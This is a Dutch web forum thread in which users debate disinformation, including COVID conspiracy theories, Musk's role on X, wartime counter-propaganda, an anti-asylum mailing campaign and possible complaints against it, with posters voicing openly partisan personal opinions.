Desinformatie en misinformatie: dreiging en aanpak.

[wildhagen]

Tsja. Is dit niet een beetje wat we hier in Nederland (of, breder, de EU) ook gezien hebben in de coronaperiode?

Daar kwamen de wappies ook uit alle hoeken en gaten gekropen die riepen dat de vaccinaties tegen corona allerlei microchips (en/of 5G) bevatten om de bevolking onder de duim te houden en aan te sturen. Zou allemaal zo geregeld zijn door 'de elite' en 'het WEF' en weet ik wie nog meer allemaal.

Dit klinkt in feite hetzelfde, zei het met een andere doelgroep.

[Brent]

Het is geen nieuwe methode iig, ik ken verhalen van ander Westers wantrouwen; voorbehoedsmiddelen, gewassen met hogere opbrengt dan inheemse variëteiten (ivm hongersnoden). Wie dat soort verhalen precies voed of begint weet ik eigenlijk niet. Zit daar een patroon?

[Ramzzz]

Brent schreef op maandag 18 november 2024 @ 11:37:
Het is geen nieuwe methode iig, ik ken verhalen van ander Westers wantrouwen; voorbehoedsmiddelen, gewassen met hogere opbrengt dan inheemse variëteiten (ivm hongersnoden). Wie dat soort verhalen precies voed of begint weet ik eigenlijk niet. Zit daar een patroon?

Anticonceptie-misinformatie was in goede handen bij de zendingsorganisaties.

[Stukfruit]

Ik weet niet zeker of dit er het juiste topic voor is, maar het lijkt voor nu het beste te passen ivm de opbouw van online nieuwsvergaring en de mogelijke desinformatie die het met zich meebrengt.

Het is een onderzoek waarin gekeken wordt via welke kanalen men nieuws binnenkrijgt. Met name via de "news influencers".

https://www.pewresearch.o...mericas-news-influencers/

Het is redelijk lang (zie de kleine paginanummers), maar op zich de moeite waard.

Vooral het gebrek aan een werkachtergrond in het brengen van nieuws en de hoeveelheid aan de rechterkant (de uitspraak "we krijgen geen ruimte" klopt dus niet) zijn interessant.

In het kort: het overgrote deel heeft geen ervaring met daadwerkelijke verslaggeving door voormalig werk in de bijbehorende industrie en rechtse personen zijn meer aanwezig:

[DevWouter]

https://blogs.lse.ac.uk/m...-drawn-from-epidemiology/

Een blog post over hoe misinformation zich verspreid als een virus. Maar ook hoe vaccinatie (hier “pre-bunking”) voorkomt dat het een epidemiologische wordt.

[BadRespawn]

Begin WW2 heeft een Brits journalist die oa in Duitsland had gewerkt en daarbij dicht bij de Nazi elite was, een medianetwerk opgericht om met een heel andere benadering dan de overige media gericht op Duitse burgers, de nazi propaganda tegen te werken. Uit verhoren van Duitse soldaten na de oorlog bleek dat 40% van hen naar die content heeft geluisterd.
Wikipedia: Sefton Delmer

Ipv de les te lezen zoals gebruikelijk is bij de 'liberal media', 3 speerpunten (in essentie dezelfde punten als wat de basis is van Nazi propaganda maar dan met een andere invulling):
- speel in op sterke emoties - maar dan gericht tegen de nazi's
- informatie aanreiken waarmee mensen een stuk zelfbeschikking konden terugkrijgen
- biedt een gevoel van saamhorigheid

[Ramzzz]

BadRespawn schreef op dinsdag 3 december 2024 @ 14:17:
Begin WW2 heeft een Brits journalist die oa in Duitsland had gewerkt en daarbij dicht bij de Nazi elite was, een medianetwerk opgericht om met een heel andere benadering dan de overige media gericht op Duitse burgers, de nazi propaganda tegen te werken. Uit verhoren van Duitse soldaten na de oorlog bleek dat 40% van hen naar die content heeft geluisterd.
Wikipedia: Sefton Delmer

Ipv de les te lezen zoals gebruikelijk is bij de 'liberal media', 3 speerpunten (in essentie dezelfde punten als wat de basis is van Nazi propaganda maar dan met een andere invulling):
- speel in op sterke emoties - maar dan gericht tegen de nazi's
- informatie aanreiken waarmee mensen een stuk zelfbeschikking konden terugkrijgen
- biedt een gevoel van saamhorigheid

[YouTube: How to Fight (and Win) an Information War | Peter Pomerantsev | TED]

Ik had dit al gezien, het startte aardig, maar gaandeweg het verhaal verloor ik wel het vertrouwen in een goede afloop.

[BadRespawn]

Ramzzz schreef op dinsdag 3 december 2024 @ 16:37:
[...]

Ik had dit al gezien, het startte aardig, maar gaandeweg het verhaal verloor ik wel het vertrouwen in een goede afloop.

Als 40% van Duitse soldaten er naar luisterde, terwijl het duidelijk anti-nazi was, dan zal het ten minste de moraal hebben ondermijnd; doel bereikt. De huidige mainstream media zouden mogen willen dat ze 40% van Trump stemmers bereiken.

[Brent]

Kijk, de NOS is ook eens in staat twee en twee op te tellen en te duiden: de Britse, Duitse, Franse en Noorse premiers cq presidenten hebben genoeg van het gemanipuleer van Musk:

quote: https://nos.nl/artikel/25...over-uitspraken-elon-musk

Het is niet voor het eerst dat de invloedrijke ondernemer zich uitspreekt over de binnenlandse politiek in Europese landen. Vanochtend nog plaatste Musk een bericht op zijn X-profiel dat hint op verdere Amerikaanse inmenging. "Amerika zou het Britse volk moeten bevrijden van hun tirannieke regering", legde Musk zijn volgers voor op zijn eigen platform.

Zonder Musk bij naam te noemen, hekelde Starmer vandaag op een persconferentie "degenen die leugens en desinformatie verspreiden". "We hebben dit draaiboek al vaak gezien: het aanzwengelen van intimidatie en bedreigingen met geweld, in de hoop dat de media het zullen versterken."

[...]

Ook de Noorse premier uitte vandaag zijn zorgen over Musk. "Ik vind het zorgwekkend dat een man met enorme toegang tot sociale media en gigantische economische middelen zich zo direct mengt in de binnenlandse aangelegenheden van andere landen", zei premier Støre tegen de Noorse publieke omroep NRK.

Ben benieuwd of dat Twitter verbod er gaat komen. Het kan niet beter worden na de 20e...

[Gonadan]

Musk doet mij meer en meer aan een klassieke Bond-schurk denken, had niet gedacht dat we dat nog in het echt gingen meemaken.

Het is wel goed om te zien dat al meerdere grote kranten van het platform af aan het gaan zijn. Hoe meer zich daarvan distantiëren des te kleiner wordt de invloed. Het is alleen hopen dat het snel genoeg gaat.

[PWSteal]

Er komen op Reddit veel berichten voorbij dat de Facebooks en X feeds overspoelt worden met pro-Trump / anti immigranten posts. De desinformatie campagne lijkt in een hoger tempo terecht te zijn gekomen.

Daarnaast; https://theconcernedbird....-xs-role-in-2024-election

Klinkt zeer verontrustend wat er nu allemaal afspeelt.

[Mfpower]

PWSteal schreef op donderdag 23 januari 2025 @ 10:44:
Er komen op Reddit veel berichten voorbij dat de Facebooks en X feeds overspoelt worden met pro-Trump / anti immigranten posts. De desinformatie campagne lijkt in een hoger tempo terecht te zijn gekomen.

Daarnaast; https://theconcernedbird....-xs-role-in-2024-election

Klinkt zeer verontrustend wat er nu allemaal afspeelt.

Misschien is dat hele stuk wel desinformatie! Het punt is dat dit niet controleerbaar is. Wat ik een groter risico vind dan desinformatie is polarisatie. En dat zie je maatschappelijk optreden. De gevestigde orde is erg bang voor de (politieke) verschuiving die nu optreedt. In de VS maar ook in de EU. En vanuit allerlei heersende gremia is de opvatting nu dat dit komt door desinformatie. Ik zal niet ontkennen dat het bestaat, maar zoals ik het zie heeft de politiek jarenlang zaken laten liggen die de normale burger raken. Van immigratie tot globalisatie en het verdwijnen van de middenklasse. Of stemmen op rechtse partijen dit oplost weet ik niet maar de run van / op X van gevestigde orde is toch iets wat ze zelf doen. Als je je eigen stem eraf haalt dan blijft alleen de ander over.

Ik zit ook op Reddit en alle (niet politieke!) subs waar ik kom mag je niet meer linken naar X. Zelfs niet als het helemaal niets te maken heeft met politiek. Ik vind dat uitsluiten en cancellen net zo eng als alle claims op desinformatie.

[Standeman]

Mfpower schreef op donderdag 23 januari 2025 @ 14:30:
[...]

Misschien is dat hele stuk wel desinformatie! Het punt is dat dit niet controleerbaar is. Wat ik een groter risico vind dan desinformatie is polarisatie. En dat zie je maatschappelijk optreden. De gevestigde orde is erg bang voor de (politieke) verschuiving die nu optreedt. In de VS maar ook in de EU. En vanuit allerlei heersende gremia is de opvatting nu dat dit komt door desinformatie. Ik zal niet ontkennen dat het bestaat, maar zoals ik het zie heeft de politiek jarenlang zaken laten liggen die de normale burger raken. Van immigratie tot globalisatie en het verdwijnen van de middenklasse. Of stemmen op rechtse partijen dit oplost weet ik niet maar de run van / op X van gevestigde orde is toch iets wat ze zelf doen. Als je je eigen stem eraf haalt dan blijft alleen de ander over.

Ik zit ook op Reddit en alle (niet politieke!) subs waar ik kom mag je niet meer linken naar X. Zelfs niet als het helemaal niets te maken heeft met politiek. Ik vind dat uitsluiten en cancellen net zo eng als alle claims op desinformatie.

Desinformatie is het middel om (maximaal) te polariseren. De oorzaak minder eng vinden dan het resultaat is eigenlijk een soort van contradictio in terminis.

En het uitsluiten moeten je soms wel doen anders beland je in een tolerantie paradox.

Ik zeg niet dat jouw casus van niet kunnen/mogen linken naar x een goede beslissing is, maar er is zeker wat voor te zeggen. Dit soort dingen blijven een lastige discussie.

[ Voor 5% gewijzigd door Standeman op 23-01-2025 14:58 ]

[BadRespawn]

Mfpower schreef op donderdag 23 januari 2025 @ 14:30:
[...]

Misschien is dat hele stuk wel desinformatie! Het punt is dat dit niet controleerbaar is.

...de run van / op X van gevestigde orde is toch iets wat ze zelf doen. Als je je eigen stem eraf haalt dan blijft alleen de ander over.

Wel controleerbaar is dat de toename van de stem van 'de ander' vooraf is gegaan aan het weglopen vd 'gevestigde orde'. Ook controleerbaar is dat X/Musk zeer selectief is mbt censuur op X in het voordeel van anti-woke en aanverwanten. Het artikel hierboven ligt in het verlengde daarvan.

The self-proclaimed ‘free speech absolutist’ has made plenty of exceptions in the past
https://www.theverge.com/...ch-elon-musk-india-turkey

Elon Musk Accused Of ‘Silencing His Critics’ As X Suspends Journalists
https://www.forbes.com/si...lists-are-suspended-by-x/

https://duckduckgo.com/?t=ffab&q=X+censorship&ia=web


En het is maar net hoe de politieke wind staat. Trump is verkozen oa op anti-immigratie, maar het belang van big tech mbt kennis immigranten weegt zwaarder dus nu de verkiezing een feit is komen anti-immigratie geluiden wat minder goed uit:

https://news.sky.com/stor...m-on-immigration-13280740
"Dec 28, 2024 Elon Musk is facing censorship accusations after prominent right-wing accounts claimed they lost access to premium features on X when they criticised his views on immigration."


Voor Musk is X duidelijk een politiek instrument. Dat hij het promoot als free speech platform is alleen maar marketing, niet feitelijk waar - oftewel dat is desinformatie.

[DevWouter]

Mfpower schreef op donderdag 23 januari 2025 @ 14:30:
Ik zit ook op Reddit en alle (niet politieke!) subs waar ik kom mag je niet meer linken naar X. Zelfs niet als het helemaal niets te maken heeft met politiek. Ik vind dat uitsluiten en cancellen net zo eng als alle claims op desinformatie.

Als je wilt dat een kind geen bleek drinkt dan doe je er een kinderslot op en hou je het uit hun bereik.

X is gewoon problematisch, als community moet je dan verantwoordelijkheid nemen en zorgen dat die problemen niet geimporteerd worden. Dus daar bouw je een muur omheen. Een beetje wat Amerika doet.

[PWSteal]

Mfpower schreef op donderdag 23 januari 2025 @ 14:30:
[...]

Misschien is dat hele stuk wel desinformatie! Het punt is dat dit niet controleerbaar is. Wat ik een groter risico vind dan desinformatie is polarisatie. En dat zie je maatschappelijk optreden. De gevestigde orde is erg bang voor de (politieke) verschuiving die nu optreedt. In de VS maar ook in de EU. En vanuit allerlei heersende gremia is de opvatting nu dat dit komt door desinformatie. Ik zal niet ontkennen dat het bestaat, maar zoals ik het zie heeft de politiek jarenlang zaken laten liggen die de normale burger raken. Van immigratie tot globalisatie en het verdwijnen van de middenklasse. Of stemmen op rechtse partijen dit oplost weet ik niet maar de run van / op X van gevestigde orde is toch iets wat ze zelf doen. Als je je eigen stem eraf haalt dan blijft alleen de ander over.

Ik zit ook op Reddit en alle (niet politieke!) subs waar ik kom mag je niet meer linken naar X. Zelfs niet als het helemaal niets te maken heeft met politiek. Ik vind dat uitsluiten en cancellen net zo eng als alle claims op desinformatie.

Er wordt door middel van het algoritme bewust bepaalde content gepromoot om zo in te spelen op onderbuik gevoelens van de massa. Dat is niet iets wat de gevestigde orde doet, maar de hoofden van de Big Tech. Die eigen stem doet er dus niet meer toe, omdat die ondergesneeuwd raakt door content die meer in lijn valt met wat o.a. Musk wilt.

Jij beschrijft wat mensen aan de voorkant van X doen, de eindgebruikers. Terwijl het probleem erin zit dat het speelveld niet meer gelijk is doordat de ene kant van het spectrum bevooroordeeld wordt door het algoritme. X, Instagram, Tiktok en Facebook zijn inmiddels verheven tot middelen om de publieke opinie in een bepaalde richting te sturen. Zie bijvoorbeeld de recente verkiezingen in Roemenië. Tiktok is daar gebruikt om een massale desinformatie campagne aan te sturen. Dat heeft niets te maken met tegen de gevestigde orde ingaan, maar is een directe aanval op een democratische samenleving.

En leg eens uit: waarom zouden we het verdienmodel van *mbr*, laten we vooralsnog een beetje terughoudend zijn met dat soort labels in stand moeten houden? Hij mag best die mening hebben hoor, maar dat betekent niet dat de rest die mening maar moet accepteren.

[ Voor 1% gewijzigd door NMH op 24-01-2025 18:37 ]

[hneel]

Mfpower schreef op donderdag 23 januari 2025 @ 14:30:
[...]

Misschien is dat hele stuk wel desinformatie!

Misschien. Maar die github site waar naar verwezen wordt ziet er toch wel echt uit. Al kan ik dat als leek niet echt beoordelen. De omschijvingen zijn erg omfloerst, maar het lijkt er op dat deze eliza's gewoon (rechtse) troll-bots zijn.

https://elizaos.github.io/eliza/docs/intro/#

[NiGeLaToR]

@PWSteal en ter aanvulling: de discussie lijkt vaak te gaan over de mogelijke opzet van zo'n campagne. Maar stel dat het geen opzet is en het algoritme nu eenmaal zo werkt dat het de minst logische en waarheidsgetrouwe content het meest presenteert puur op basis van interactie door/met gebruikers - is het dan in ene wel goed?

Dus dat zijn twee afzonderlijke punten: opzet vs werking en effect vs wenselijkheid. Uiteindelijk kiezen mensen niet meer op basis van de realiteit en daardoor c.q. daarmee met regelmaat niet in hun eigen belang. En dat holt de democratie uit. Dit is ook geen kwestie van de 'firehose of falsehood' overstemming met 'echt' nieuw oid - juist door hoe ons brein werkt kan dat niet, zo'n algoritme weet haarfijn wat je wanneer het langste gekoppeld houdt.

Ik zie ondertussen nog maar 1 oplossing en de populisten ook - daar waar ik social media zou willen uitzetten of tenminste ontdoen van algoritmes zijn populisten juist verzot op hoe dit nu werkt. En reeds aan de macht, in veel gevallen.

[Mfpower]

@NiGeLaToR thanks voor het maken van het onderscheid.
Volgens mij valt het wel mee met de desinformatie. Ja het bestaat. Ja het wordt ingezet. Maar de discussie hierover is vooral opportuun. Voorbeeld: @PWSteal noemt Musk een Nazi.. desinformatie? Haatzaaien? Mag je dit wel zggen op tweakers? Mening? Dat bedoel ik, desinformatie, of het beschuldigen ervan is vooral een functie van opportuniteit van degene die het noemt.

[BadRespawn]

Mfpower schreef op vrijdag 24 januari 2025 @ 14:21:
Voorbeeld: @PWSteal noemt Musk een Nazi.. desinformatie? Haatzaaien? Mag je dit wel zggen op tweakers? Mening? Dat bedoel ik, desinformatie, of het beschuldigen ervan is vooral een functie van opportuniteit van degene die het noemt.

Musk heeft zichzelf geassocieerd met AfD, die algemeen wordt gezien als een ver-rechtse, populistische, nationalistische partij - net als de Nazi partij. Een deel vd partij is pro-nazi en antisemitisch (en de partij als geheel neemt geen afstand van dat deel) dus zo vergezocht is het niet om die partij en hun supporters zoals Musk, te bestempelen als Nazi.

In 2017, ten AfD Bundestag members were found to have participated in a closed Facebook group named "the Patriots" in which, among other things, antisemitic, racist, pro-Nazi and conspiratorial posts were widespread. ...Bundestag member Stephan Protschka remained, saying "I am a member of this group because I also see myself as a patriot."[204][205][206] Wikipedia: Alternative for Germany

“Only AfD can save Germany, end of story, and people really need to get behind AfD, and otherwise things are going to get very, very much worse in Germany,” Musk said during an audio livestream alongside party co-leader Alice Weidel on X. https://edition.cnn.com/2...l-germany-intl/index.html

[DevWouter]

Mfpower schreef op vrijdag 24 januari 2025 @ 14:21:
Voorbeeld: @PWSteal noemt Musk een Nazi.. desinformatie? Haatzaaien? Mag je dit wel zggen op tweakers? Mening? Dat bedoel ik, desinformatie, of het beschuldigen ervan is vooral een functie van opportuniteit van degene die het noemt.

Er zijn 2 problemen met het verbieden:

1. Als we het geen Nazi noemen dan moet er een nieuwe term bedacht worden die aansluit op de ernst van de situatie. En het is inmiddels duidelijk hoe ernstig de houding in Amerika is, namelijk zeer ernstig.
2. Het beperkt tegenstanders met het "name calling", terwijl Trump, Musk en de rest daar hevig op leunen.

We zijn al lang voorbij het punt waar het een ongelijk speelveld werd. Verder is iemand een Nazi benoemen nog geen haatzaaien of desinformatie, althans dat argument kan niet gemaakt worden zonder er op te wijzen dat rechts (Amerika, Wereldwijd, NL) al jaren veelvuldig gebruik maken van deze tactiek.

Persoonlijk ben ik geen fan van Musk een Nazi te noemen. Die term is niet exact genoeg en wat Musk/Trump/etc doen komt niet overeen met de meest strikte definities die er zijn. Echter, in een discussie met vreemden zou ik wel die term gaan gebruiken zodat deelnemers bewust worden van de historisch betekenis.

Laat ik het zo zeggen: Het is mogelijk dat Trump zonder wereld oorlog erger zal zijn dan Hitler met een wereld oorlog. De functie van Hitler (en het Nazisme) is dus niet alleen vergelijkend, maar ook waarschuwend. En het feit dat grote groepen mensen die vergelijking maken met het grootste kwaad dat onze wereld gekend heeft geeft aan hoe ver Trump/Musk al heen is.

Overigens, was het altijd een kwestie van tijd zijn voor dat Hitler vervangen zou worden.

Enfin, Musk een Nazi noemen heeft zeker wel een functie, vergelijkbaar met de klassieke sprookjes, en daarom is het ook belangerijker. Echter vanuit een wetenschappelijk perspectief is het niet geheel juist. Helaas is dit forum zowel wetenschap als maatschappelijk.

[NiGeLaToR]

Mfpower schreef op vrijdag 24 januari 2025 @ 14:21:
@NiGeLaToR thanks voor het maken van het onderscheid.
Volgens mij valt het wel mee met de desinformatie. Ja het bestaat. Ja het wordt ingezet. Maar de discussie hierover is vooral opportuun. Voorbeeld: @PWSteal noemt Musk een Nazi.. desinformatie? Haatzaaien? Mag je dit wel zggen op tweakers? Mening? Dat bedoel ik, desinformatie, of het beschuldigen ervan is vooral een functie van opportuniteit van degene die het noemt.

Op basis waarvan?

Oprecht, eerlijk, feitelijk nieuws was altijd al schaars en is nu een soort unicorn geworden.

Of het nu Jennif Anniston die misbruikt is in een video over haar ‘beach body’ met haar AI gegenereerde stem om mensen een bepaald dieet aan te smeren of Rusland die een lijnvlucht uit de lucht knalt (2e keer) en binnen 2 uur 6 verhalen de wereld in slingert.

Wellicht zijn we gewend aan dit soort onzin, maar het werkt, bepaalt het narratief en dus de uitkomst van de verkiezingen.

Ben dus benieuwd waarom het volgens jou mee valt.

[PWSteal]

BadRespawn schreef op vrijdag 24 januari 2025 @ 14:41:
[...]


Musk heeft zichzelf geassocieerd met AfD, die algemeen wordt gezien als een ver-rechtse, populistische, nationalistische partij - net als de Nazi partij. Een deel vd partij is pro-nazi en antisemitisch (en de partij als geheel neemt geen afstand van dat deel) dus zo vergezocht is het niet om die partij en hun supporters zoals Musk, te bestempelen als Nazi.

In 2017, ten AfD Bundestag members were found to have participated in a closed Facebook group named "the Patriots" in which, among other things, antisemitic, racist, pro-Nazi and conspiratorial posts were widespread. ...Bundestag member Stephan Protschka remained, saying "I am a member of this group because I also see myself as a patriot."[204][205][206] Wikipedia: Alternative for Germany

“Only AfD can save Germany, end of story, and people really need to get behind AfD, and otherwise things are going to get very, very much worse in Germany,” Musk said during an audio livestream alongside party co-leader Alice Weidel on X. https://edition.cnn.com/2...l-germany-intl/index.html

Naast nog het feit dat hij een Hitler groet doet tijdens de inauguratie van Trump. Tweemaal zelfs, dus je kan het geen toeval meer noemen.

@Mfpower In woord en handelingen maakt hij kenbaar dat hij een nazi is, maar ik mag hem niet zo benoemen?

[Roozzz]

Even een zijstapje in dit topic, hopelijk mag dit ook hier.

Vandaag hebben wij een "mooie" brief en petitie ontvangen van Civitas Christiana onder de vlag van Cultuur onder vuur, om in actie te komen tegen het opvangen van asielzoekers. Eigenlijk een en al desinformatie en stemmingmakerij, waarbij zaken verdraaid worden, racisme doorklinkt en er lekker op de emoties gespeeld wordt.

Na een kleine steekproef neem ik aan dat alle adressen in mijn gemeente zijn aangeschreven. Daarbij staan er ook diverse posters/billboards in de gemeente van soortgelijke strekking. Effectief heeft men hier dus gewoon een desinformatiecampagne opgetuigd om de discussie volledig te frustreren.

Nu is Civitas Christiana nogal een interessant clubje gesponsord door Europese adel. Ter illustratie, aldus Wikipedia:

Stichting Civitas Christiana (CC) is een Nederlands ultraconservatief-katholiek genootschap dat zich politiek christelijk rechts positioneert.

CC is verbonden met organisaties binnen de beweging van Traditie, Familie en Privé-eigendom in vijf continenten. De TFP-beweging is aartsconservatief katholiek.

De politieke agenda van Civitas Christiana komt voor een belangrijk deel overeen met die van uiterst rechtse partijen. De ideeën lopen voor een groot deel parallel met die van Thierry Baudet van Forum voor Democratie en van Pegida en het extreemrechtse Identitair Verzet.

En het Katholiek Nieuwsblad heeft het over een sektarische en militante organisatie die donateurs misleidt.

Bij het lezen zullen de haren bij een hoop mensen meteen overeind gaan staan, maar ik kan mij niet aan de indruk onttrekken dat ze her en der toch wel wat gehoor zullen krijgen. Het appelleert allicht lekker op gevoelens in de onderbuik.

Anyway, dit riep bij mij toch even de vraag op: wat kan ik hier nu mee?

Het gesprek met directe omgeving was eenvoudig, we waren het er snel over eens dat men echt volledig van de pot gerukt was. Maar kunnen we nog iets meer?

[Ramzzz]

Roozzz schreef op vrijdag 24 januari 2025 @ 21:12:
Even een zijstapje in dit topic, hopelijk mag dit ook hier.

Vandaag hebben wij een "mooie" brief en petitie ontvangen van Civitas Christiana onder de vlag van Cultuur onder vuur, om in actie te komen tegen het opvangen van asielzoekers. Eigenlijk een en al desinformatie en stemmingmakerij, waarbij zaken verdraaid worden, racisme doorklinkt en er lekker op de emoties gespeeld wordt.

Na een kleine steekproef neem ik aan dat alle adressen in mijn gemeente zijn aangeschreven. Daarbij staan er ook diverse posters/billboards in de gemeente van soortgelijke strekking. Effectief heeft men hier dus gewoon een desinformatiecampagne opgetuigd om de discussie volledig te frustreren.

Nu is Civitas Christiana nogal een interessant clubje gesponsord door Europese adel. Ter illustratie, aldus Wikipedia:

[...]


En het Katholiek Nieuwsblad heeft het over een sektarische en militante organisatie die donateurs misleidt.

Bij het lezen zullen de haren bij een hoop mensen meteen overeind gaan staan, maar ik kan mij niet aan de indruk onttrekken dat ze her en der toch wel wat gehoor zullen krijgen. Het appelleert allicht lekker op gevoelens in de onderbuik.

Anyway, dit riep bij mij toch even de vraag op: wat kan ik hier nu mee?

Het gesprek met directe omgeving was eenvoudig, we waren het er snel over eens dat men echt volledig van de pot gerukt was. Maar kunnen we nog iets meer?

Een geadresseerde brief met naam en toenaam?

Ik zeg: AVG.

Hoe komen ze aan die informatie? Dit klinkt gewoon als 100% politiek extreem dubieus gemotiveerde SPAM.

>> Autoriteit persoonsgegevens?

[NiGeLaToR]

@Roozzz ik speel met het idee stickers te laten maken zoals in de covid tijd werd gedaan over wappie stickers: dan plakten mensen er een kitten overheen met de text ‘onder deze kitten zat desinformatie’ oid.

Kun je die over de billboards plakken in ieder geval.

Probleem is dat het bij mensen op de mat ligt, dus daar echt wat tegen doen behalve AVG klachten (vergeet reclame code commissie niet!) indienen is lastig.

Deze partijen zijn enorm in opkomst en bereikt ook veel vrouwen merk ik. Een kennis zijn vrouw is bijv Trump aanhanger geworden, vanuit de overtuiging dat alles wat hij doet in lijn is met de bijbel. De oogkleppen maken doorgang door menig deurpost onmogelijk, maar een normaal gesprek is niet te voeren - elk argument bij hem thuis is ‘onderdrukking van meningsuiting’ en ‘woke linkse propaganda’. En dan komt hij alleen met dingen zoals ‘hij legde zijn hand niet eens op de bijbel’, wat gewoon op tv te zien was, live.

[Roozzz]

Dank, de AP en de Reclame code commissie routes waren nog niet bij op gekomen. Ga ik eens induiken. Een juriste gaf al aan de mogelijkheden ook te onderzoeken, dus wordt vervolgd.

Positief nieuws is wel dat er inmiddels ook een petitie rondgaat met een duidelijk tegengeluid.

[hneel]

De blik is nu vooral gericht op social media, maar hoeveel desinformatie gaat ook niet gewoon van mond op mond? Vooral verhaaltjes die verontwaardiging oproepen worden gretig doorverteld.

[Stukfruit]

Dat gaat meestal wel van mond tot mond.

Alleen gaat het dan om de racistische oom op je verjaardag of de collega op het werk die te weinig heeft geslapen.

Dit is natuurlijk n=1, maar ik heb een keer zo'n collega gehad en het enige gevolg is dat mensen tijdens de meeting een oogrol deden en er achteraf over de persoon in kwestie werd geroddeld om te vragen of het wel goed met hem ging.

Het verschil met social media is dat mensen het niet alleen in groepen gooien waar kritische mensen aan deelnemen.

[NiGeLaToR]

Roozzz schreef op zondag 26 januari 2025 @ 17:44:
Dank, de AP en de Reclame code commissie routes waren nog niet bij op gekomen. Ga ik eens induiken. Een juriste gaf al aan de mogelijkheden ook te onderzoeken, dus wordt vervolgd.

Positief nieuws is wel dat er inmiddels ook een petitie rondgaat met een duidelijk tegengeluid.

Goed om te horen!

Ik denk dat wat wij zelf kunnen doen is mensen aanspreken en in gesprek blijven gaan in de echte wereld en ons blijven informeren over de dingen die echt gebeuren. Onze gezamenlijke vijand is niet de groep mensen die om wat voor reden dan ook in een desinformatie bubbel terecht zijn gekomen, maar dat instrument op zich.

Los van de vraag of je een opvangcentrum in je achtertuin zou willen is het vooral ook de vraag hoe we met elkaar om gaan met dit soort vraagstukken - niet met ideologisch gedreven sectarische bs zo te lezen

Dank voor het delen, heeft mij ook weer aan het denken gezet hoe hier mee om te gaan.

[DevWouter]

hneel schreef op zondag 26 januari 2025 @ 19:08:
De blik is nu vooral gericht op social media, maar hoeveel desinformatie gaat ook niet gewoon van mond op mond? Vooral verhaaltjes die verontwaardiging oproepen worden gretig doorverteld.

De focus is tegenwoordig meer op Rechts gelegd, niet op sociale media. Er is daar wat recent onderzoek geweest die duidelijk aangeeft dat desinformatie vooral door rechts verspreid wordt. Sociale media (of eigenlijk korte berichten) hebben vooral overeenkomsten met hoe Rechts te werk gaat: Te weinig informatie, maar veel ophef.

[BroWohsEdis]

Ik wilde even dit interview met jullie delen, naar mijn mening een van de belangrijkste interviews ooit in de moderne tijd.
Nog steeds bijzonder hoe hij beschrijft hoe de toekomst eruit zal zien, hij had nog gelijk ook.

Hier een verkorte versie waar hij het heeft over de effecten en gevolgen van desinformatie:

[ Voor 24% gewijzigd door BroWohsEdis op 27-01-2025 10:01 ]

[BadRespawn]

Mbt het bovenstaande is wat info over Yuri Bezmenov op z'n plaats:

Wikipedia: Yuri Bezmenov
"...Soviet journalist for Novosti Press Agency (APN). In 1970, as a member of the Soviet mission in New Delhi, India, Bezmenov defected to the West" ...
Bezmenov is best remembered for his anti-Marxist, anti-Soviet, and anti-atheist lectures and books published in the 1980s...

In 1965, Bezmenov was recalled to Moscow and began to work for Novosti Press Agency as an apprentice for their classified department of Political Publications (GRPP). Bezmenov alleged that about three quarters of Novosti's staff were actually KGB officers, with the remainder being co-opted or KGB freelance writers and informers like himself.[5] However, Bezmenov did not do real freelance writing. Instead, he stated that he edited and planted propaganda materials in foreign media, and delegations of Novosti's guests from foreign countries on tours of the Soviet Union or to international conferences held in the Soviet Union.[4]...

Since his death, Bezmenov's "Soviet subversion model"[a] has been studied and interpreted by faculty and staff at the Joint Special Operations University (JSOU) to analyze historical events, including the decade-long Russian campaign that preceded the 2008 Russo-Georgian War.[17] His work has also been cited by senior director of UPenn's Penn Biden Center for Diplomacy and Global Engagement, and former Deputy Assistant Secretary of Defense, Michael R. Carpenter.[18][19] His lectures have also been used by Yale senior lecturer Asha Rangappa, to illustrate the concept of active measures in the Soviet Union's disinformation campaigns in the United States.[20]...

Doubts have been expressed regarding Bezmenov's KGB role, if any; according to some sources, Bezmenov was not a part of the KGB First Chief Directorate.[24]
Bezmenov's audiences have included American far-right and anti-communist movements, to whom he often gave speeches and lectures on their platforms.[25] One of such is his interview with conspiracy theorist G. Edward Griffin. Bezmenov himself was involved with the anti-communist and far-right Unification Church and the John Birch Society.[3]
When questioned about his association with the John Birch Society and the doubts raised about his allegiance, he responded "I'm not a member. I don't agree with everything they say",[26] and stated that he resorted to right-wing platforms as a result of mainstream media outlets refusing to provide him with a platform, such as The New York Times.[26][2]
Clips from his interviews and lectures have been used to promote conspiracy theories about COVID-19 and vaccination mandates[3] and fabricated Communist infiltration in Western governments.

[DropjesLover]

Verwijderd schreef op woensdag 19 februari 2025 @ 22:37:
[...]

In onze vorige discussie heb ik je gevraagd dit te onderbouwen met bronnen, dat lukte toen niet of onvoldoende. Ik vraag je opnieuw om met bronnen te komen voor je dergelijke statements: "nepnieuws krijg je alleen wanneer je al in die specifieke bubbel zit".

Onderzoek van 2018 op basis van Twitterberichten: Nepnieuws wordt gemiddeld 70% sneller en verder gedeeld dan feitelijke berichten. https://www.science.org/doi/10.1126/science.aap9559

Ik vind het behoorlijk naïef om te denken dat je alleen nepnieuws te zien krijgt wanneer je al in een bubbel zit. Zodra je een socialmedia-account creëert zit je immers al in een bubbel. Een bubbel is niets meer dan een aantal kenmerken waar een algoritme op kan targetten. Dat algoritme is ontworpen om je aandacht zo lang mogelijk vast te houden, boos te maken en te houden (dan blijf je nog langer online). Hmmm... wat voor soort content zou daar nu geschikt voor zijn? Insert clickbait, nepnieuws, complottheorieën etc. Het algoritme heeft zowel bij een gebruiker met weinig als veel kenmerken baat bij het zo lang mogelijk vast houden van aandacht. Bij de gebruiker met veel kenmerken zal dit eerder resulteren in versterkende content waardoor deze in een echokamer terecht komt.

Ander persoonlijk voorbeeld. Mijn moeder kijkt graag naar NPO1 en was op een gegeven moment overtuigd dat elektrische auto's niet goed waren voor de groei van planten omdat er dan te weinig CO₂ in de lucht zou zijn. Dat had een wetenschapper op de NPO verteld. Bleek dat Ongehoord Nederland te zijn welke zoals hierboven omschreven een item had.

Het medialandschap verschuift en zit wat mij betreft in een negatieve spiraal. Diensten hebben een financieel belang bij het vergaren van zoveel mogelijk data en het verkopen advertentieruimte. Diensten moeten makkelijker en aantrekkelijker worden waardoor we meer van onze data (content of kenmerken) prijsgeven. Aangeboden content moet korter vanwege ons afgenomen concentratievermogen en onze dopamineverslaving, interactiever om de gebruiker te bevredigen, en als kers op de taart gooien we wat clickbait, nepnieuws en complottheorieën in de mix om alles nog even te maximaliseren.

